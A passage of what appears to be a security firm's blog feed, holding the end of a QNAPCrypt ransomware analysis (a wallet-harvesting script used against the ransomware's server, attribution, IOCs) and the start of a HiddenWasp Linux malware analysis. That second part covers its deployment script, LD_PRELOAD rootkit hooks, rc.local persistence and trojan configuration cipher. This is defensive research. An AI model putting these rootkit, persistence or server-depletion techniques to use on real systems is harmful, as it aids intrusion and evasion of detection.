&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BTC_WALLETS&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BtcPublicKey&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] CAMPAIN HAS NO WALLETS LEFT&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;wallets_&lt;/span&gt;&lt;span class="si"&gt;%0d&lt;/span&gt;&lt;span class="s2"&gt;.txt&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w+&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;BTC_WALLETS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We were able to collect a total of 1,091 unique wallets meant to be delivered
to new victims distributed among 15 different campaigns.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig22.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, by depleting the attacker’s stored Bitcoin wallets we were able to
stop this malware from infecting new victims temporarily, since if there is a
failure to parse the RSA public key the client will just exit:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig23.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following screenshot shows the packets that the onion domain will retrieve
after the entire static Bitcoin wallet pool was depleted:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig24.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The HTTP request returns a 200 but with a content length of 0, therefore
failing to retrieve configuration, and thus the ransomware client stops
execution. This implies that we were able to identify an easy method to prevent
further infections of this ransomware by constantly depleting its static
bitcoin wallet pool.&lt;/p&gt;
&lt;h2&gt;Attribution and Attackers Reaction&lt;span class="hx:absolute hx:-mt-20" id="attribution-and-attackers-reaction"&gt;&lt;/span&gt;
&lt;a href="#attribution-and-attackers-reaction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After several days of continuously DoS&amp;rsquo;ing QNAPCrypt clients, we encountered
another QNAPCrypt sample—but this time targeting x86 systems.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig25.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Based on Genetic Malware Analysis, we observed that this specific implant
reused a large portion of code with old instances of x86 Linux.Rex builds.
Linux.Rex is known for deploying
&lt;a href="http://news.softpedia.com/news/crooks-used-sql-injections-to-hack-drupal-sites-and-install-web-ransomware-504300.shtml"target="_blank" rel="noopener"&gt;exploits&lt;/a&gt;
against Drupal servers in 2016, in order to conduct ransomware and DDoS
operations.&lt;/p&gt;
&lt;p&gt;The following represents some of the code similarities between Linux.Rex and
newer QNAPCrypt variants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig26.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Although both implants implement different functionality, it is noticeable that
both were written in a similar manner.&lt;/p&gt;
&lt;p&gt;Furthermore, we can observe similarities with the ARM instance of QNAPCrypt but
with a major difference—the RSA public key, Bitcoin wallet and ransom note are
hardcoded in the binary:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig27.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can also see that the hardcoded onion domain is exactly the same as in the
ARM variant, and the site design to pay the ransom is also the same, although
the demanded ransom in Bitcoin seems to be lower than in previous variants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig28.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We interpret the discovery of these newer instances with hardcoded
configuration to be a response from the threat actors behind this campaign to
attempt to circumvent the DoS that their non connectionless instances were
suffering. This implied that they were forced to change their implants and to
centralize their bitcoin wallets, making the tracking of their income via their
ransomware campaigns more convenient.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have covered the operation of the QNAPCrypt ransomware, and how we were able
to find design flaws to prevent the malware from running in newer victims’
machines and forcing the attackers behind the malware to update their implants
in order to circumvent these flaws.&lt;/p&gt;
&lt;p&gt;Additionally, Golang malware seems to be on the rise, since it appears to be a
very convenient language to create cross-platform malware.&lt;/p&gt;
&lt;p&gt;Furthermore, we have discussed how Linux ransomware has slightly different
targets than Windows ransomware, in this case targeting NAS servers rather than
Linux endpoints.&lt;/p&gt;
&lt;p&gt;Unfortunately detection rates of QNAPCrypt are low, and the ransomware could
create significant monetary losses and economic damage in comparison to other
types of Linux threats.&lt;/p&gt;
&lt;p&gt;We have created a custom
&lt;a href="https://github.com/intezer/yara-rules/blob/master/QNAPCrypt.yar"target="_blank" rel="noopener"&gt;YARA signature&lt;/a&gt;
for detecting future variants of QNAPCrypt.&lt;/p&gt;
&lt;h2&gt;Genetic Analysis&lt;span class="hx:absolute hx:-mt-20" id="genetic-analysis"&gt;&lt;/span&gt;
&lt;a href="#genetic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The QNAPCrypt malware variants are now indexed in Intezer&amp;rsquo;s genetic database.
If you have a suspicious file that you suspect to be QNAPCrypt or other malware
from the Rex group, you can upload it to Intezer Analyze to detect code reuse
to this threat family and many others.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig29.png" title="Genetic Analysis of the QNAPCrypt ARM variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Genetic Analysis of the QNAPCrypt ARM variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;sg3dwqfpnr4sl5hh[.]onion
192.99.206[.]61
3d7ebe73319a3435293838296fbb86c2e920fd0ccc9169285cc2c4d7fa3f120d
076a6fa4e051c061e19b9e3e37da9c63a9bc7c1a99111ac13b32eb2f70b7fa5c&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>HiddenWasp Malware Stings Targeted Linux Systems</title><link>https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/</link><pubDate>Wed, 29 May 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/</guid><description>
&lt;h2&gt;Overview&lt;span class="hx:absolute hx:-mt-20" id="overview"&gt;&lt;/span&gt;
&lt;a href="#overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Intezer has discovered a new, sophisticated malware that we have named
&amp;ldquo;HiddenWasp&amp;rdquo;, targeting Linux systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The malware is still active and has a zero-detection rate in all major
anti-virus systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unlike common Linux malware, HiddenWasp is not focused on crypto-mining or
DDoS activity. It is a trojan purely used for targeted remote control.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Evidence shows in high probability that the malware is used in targeted
attacks for victims who are already under the attacker’s control, or have
gone through a heavy reconnaissance.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HiddenWasp authors have adopted a large amount of code from various publicly
available open-source malware, such as Mirai and the Azazel rootkit. In
addition, there are some similarities between this malware and other Chinese
malware families, however the attribution is made with low confidence.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We have detailed our recommendations for preventing and responding to this
threat.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Although the Linux threat ecosystem is crowded with IoT DDoS botnets and
crypto-mining malware, it is not very common to spot trojans or backdoors in
the wild.&lt;/p&gt;
&lt;p&gt;Unlike Windows malware, Linux malware authors do not seem to invest too much
effort writing their implants. In an open-source ecosystem there is a high
ratio of publicly available code that can be copied and adapted by attackers.&lt;/p&gt;
&lt;p&gt;In addition, Anti-Virus solutions for Linux tend to not be as resilient as in
other platforms. Therefore, threat actors targeting Linux systems are less
concerned about implementing excessive evasion techniques since even when
reusing extensive amounts of code, threats can relatively manage to stay under
the radar.&lt;/p&gt;
&lt;p&gt;Nevertheless, malware with strong evasion techniques do exist for the Linux
platform. There is also a high ratio of publicly available open-source malware
that utilize strong evasion techniques and can be easily adapted by attackers.&lt;/p&gt;
&lt;p&gt;We believe this fact is alarming for the security community since many implants
today have very low detection rates, making these threats difficult to detect
and respond to.&lt;/p&gt;
&lt;p&gt;We have discovered further undetected Linux malware that appear to be enforcing
advanced evasion techniques with the use of rootkits to leverage trojan-based
implants.&lt;/p&gt;
&lt;p&gt;In this blog we will present a technical analysis of each of the different
components that this new malware, HiddenWasp, is composed of. We will also
highlight interesting code-reuse connections that we have observed to several
open-source malware.&lt;/p&gt;
&lt;p&gt;The following images are screenshots from VirusTotal of the newer undetected
malware samples discovered:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When we came across these samples we noticed that the majority of their code
was unique:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig2.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Similar to the recent Winnti Linux variants reported by
&lt;a href="https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"target="_blank" rel="noopener"&gt;Chronicle&lt;/a&gt;,
the infrastructure of this malware is composed of a user-mode rootkit, a trojan
and an initial deployment script. We will cover each of the three components in
this post, analyzing them and their interactions with one another.&lt;/p&gt;
&lt;h3&gt;Initial Deployment Script:&lt;span class="hx:absolute hx:-mt-20" id="initial-deployment-script"&gt;&lt;/span&gt;
&lt;a href="#initial-deployment-script" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When we spotted these undetected files in VirusTotal it seemed that among the
uploaded artifacts there was a bash script along with a trojan implant binary.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig4.png" title="Initial Deployment Script" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Initial Deployment Script&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We observed that these files were uploaded to VirusTotal using a path
containing the name of a Chinese-based forensics company known as
&lt;a href="http://www.china-forensic.com/ccfc/en/"target="_blank" rel="noopener"&gt;Shen Zhou Wang Yun Information Technology Co., Ltd&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Furthermore, the malware implants seem to be hosted in servers from a physical
server hosting company known as ThinkDream located in Hong Kong.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Among the uploaded files, we observed that one of the files was a bash script
meant to deploy the malware itself into a given compromised system, although it
appears to be for testing purposes:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Thanks to this file we were able to download further artifacts not present in
VirusTotal related to this campaign. This script will start by defining a set
of variables that would be used throughout the script.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Among these variables we can spot the credentials of a user named &amp;lsquo;sftp&amp;rsquo;,
including its hardcoded password. This user seems to be created as a means to
provide initial persistence to the compromised system:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, after the system’s user account has been created, the script
proceeds to clean the system as a means to update older variants if the system
was already compromised:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig9.png" alt="" loading="lazy" /&gt; The script will then proceed to download a tar compressed
archive from a download server according to the architecture of the compromised
system. This tarball will contain all of the components from the malware,
containing the rootkit, the trojan and an initial deployment script:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig10.png" alt="" loading="lazy" /&gt; After malware components have been installed, the script
will then proceed to execute the trojan:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can see that the main trojan binary is executed, the rootkit is added to
LD_PRELOAD path and another series of environment variables are set such as the
&amp;lsquo;I_AM_HIDDEN&amp;rsquo;. We will cover throughout this post what the role of this
environment variable is. To finalize, the script attempts to install reboot
persistence for the trojan binary by adding it to /etc/rc.local.&lt;/p&gt;
&lt;p&gt;Within this script we were able to observe that the main implants were
downloaded in the form of tarballs. As previously mentioned, each tarball
contains the main trojan, the rootkit and a deployment script for x86 and
x86_64 builds accordingly.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The deployment script has interesting insights of further features that the
malware implements, such as the introduction of a new environment variable
&amp;lsquo;HIDE_THIS_SHELL&amp;rsquo;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We found some of the environment variables used in a open-source rootkit known
as
&lt;a href="https://github.com/chokepoint/azazel/search?q=HIDE_THIS_SHELL&amp;amp;unscoped_q=HIDE_THIS_SHELL"target="_blank" rel="noopener"&gt;Azazel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It seems that this actor changed the default environment variable from Azazel,
that one being HIDE_THIS_SHELL for I_AM_HIDDEN. We have based this conclusion
on the fact that the environment variable HIDE_THIS_SHELL was not used
throughout the rest of the components of the malware and it seems to be
residual remains from Azazel original code.&lt;/p&gt;
&lt;p&gt;The majority of the code from the rootkit implants involved in this malware
infrastructure are noticeably different from the original Azazel project.
Winnti Linux variants are also known to have reused code from this open-source
project.&lt;/p&gt;
&lt;h3&gt;The Rootkit&lt;span class="hx:absolute hx:-mt-20" id="the-rootkit"&gt;&lt;/span&gt;
&lt;a href="#the-rootkit" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The rootkit is a user-space based rootkit enforced via LD_PRELOAD linux
mechanism.&lt;/p&gt;
&lt;p&gt;It is delivered in the form of an ET_DYN stripped ELF binary.&lt;/p&gt;
&lt;p&gt;This shared object has an DT_INIT dynamic entry. The value held by this entry
is an address that will be executed once the shared object gets loaded by a
given process:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Within this function we can see that eventually control flow falls into a
function in charge to resolve a set of dynamic imports, which are the functions
it will later hook, alongside with decoding a series of strings needed for the
rootkit operations.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can see that for each string it allocates a new dynamic buffer, it copies
the string to it to then decode it.&lt;/p&gt;
&lt;p&gt;It seems that the implementation for dynamic import resolution slightly varies
in comparison to the one used in
&lt;a href="https://github.com/chokepoint/azazel/blob/master/config.py"target="_blank" rel="noopener"&gt;Azazel&lt;/a&gt; rootkit.&lt;/p&gt;
&lt;p&gt;When we wrote the script to simulate the cipher that implements the string
decoding function we observed the following algorithm:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We recognized that a similar algorithm to the one above was used in the past by
&lt;a href="https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/scanner.c#L963"target="_blank" rel="noopener"&gt;Mirai&lt;/a&gt;,
implying that authors behind this rootkit may have ported and modified some
code from Mirai.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the rootkit main object has been loaded into the address space of a given
process and has decrypted its strings, it will export the functions that are
intended to be hooked. We can see these exports to be the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;For every given export, the rootkit will hook and implement a specific
operation accordingly, although they all have a similar layout. Before the
original hooked function is called, it is checked whether the environment
variable &amp;lsquo;I_AM_HIDDEN&amp;rsquo; is set:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can see an example of how the rootkit hooks the function fopen in the
following screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We have observed that after checking whether the &amp;lsquo;I_AM_HIDDEN&amp;rsquo; environment
variable is set, it then runs a function to hide all the rootkits’ and trojans&amp;rsquo;
artifacts. In addition, specifically to the fopen function it will also check
whether the file to open is &amp;lsquo;/proc/net/tcp&amp;rsquo; and if it is it will attempt to
hide the malware’s connection to the cnc by scanning every entry for the
destination or source ports used to communicate with the cnc, in this case
61061. This is also the default port in
&lt;a href="https://github.com/chokepoint/azazel/blob/master/config.py"target="_blank" rel="noopener"&gt;Azazel&lt;/a&gt; rootkit.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig22.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The rootkit primarily implements artifact hiding mechanisms as well as tcp
connection hiding as previously mentioned. Overall functionality of the rootkit
can be illustrated in the following diagram:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig23.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;The Trojan&lt;span class="hx:absolute hx:-mt-20" id="the-trojan"&gt;&lt;/span&gt;
&lt;a href="#the-trojan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The trojan comes in the form of a statically linked ELF binary linked with
stdlibc++. We noticed that the trojan has code connections with
&lt;a href="../../../2019/01/chinaz-relations"&gt;ChinaZ&amp;rsquo;s&lt;/a&gt; Elknot implant in regards to some
common MD5 implementation in one of the statically linked libraries it was
linked with:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig24.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition, we also see a high rate of shared strings with other known ChinaZ
malware, reinforcing the possibility that actors behind HiddenWasp may have
integrated and modified some MD5 implementation from Elknot that could have
been shared in Chinese hacking forums:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig25.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we analyze the main we noticed that the first action the trojan takes is
to retrieve its configuration:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig26.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware configuration is appended at the end of the file and has the
following structure:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig27.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware will try to load itself from the disk and parse this blob to then
retrieve the static encrypted configuration.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig28.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Once encryption configuration has been successfully retrieved the configuration
will be decoded and then parsed as json.&lt;/p&gt;
&lt;p&gt;The cipher used to encode and decode the configuration is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig29.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This cipher seems to be an RC4 alike algorithm with an already computed PRGA
generated key-stream. It is important to note that this same cipher is used
later on in the network communication protocol between trojan clients and their
CNCs.&lt;/p&gt;
&lt;p&gt;After the configuration is decoded the following json will be retrieved:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig30.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Moreover, if the file is running as root, the malware will attempt to change
the default location of the dynamic linker’s LD_PRELOAD path. This location is
usually at /etc/ld.so.preload, however there is always a possibility to patch
the dynamic linker binary to change this path:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig31.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Patch_ld function will scan for any existent /lib paths. The scanned paths are
the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig32.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware will attempt to find the dynamic linker binary within these paths.
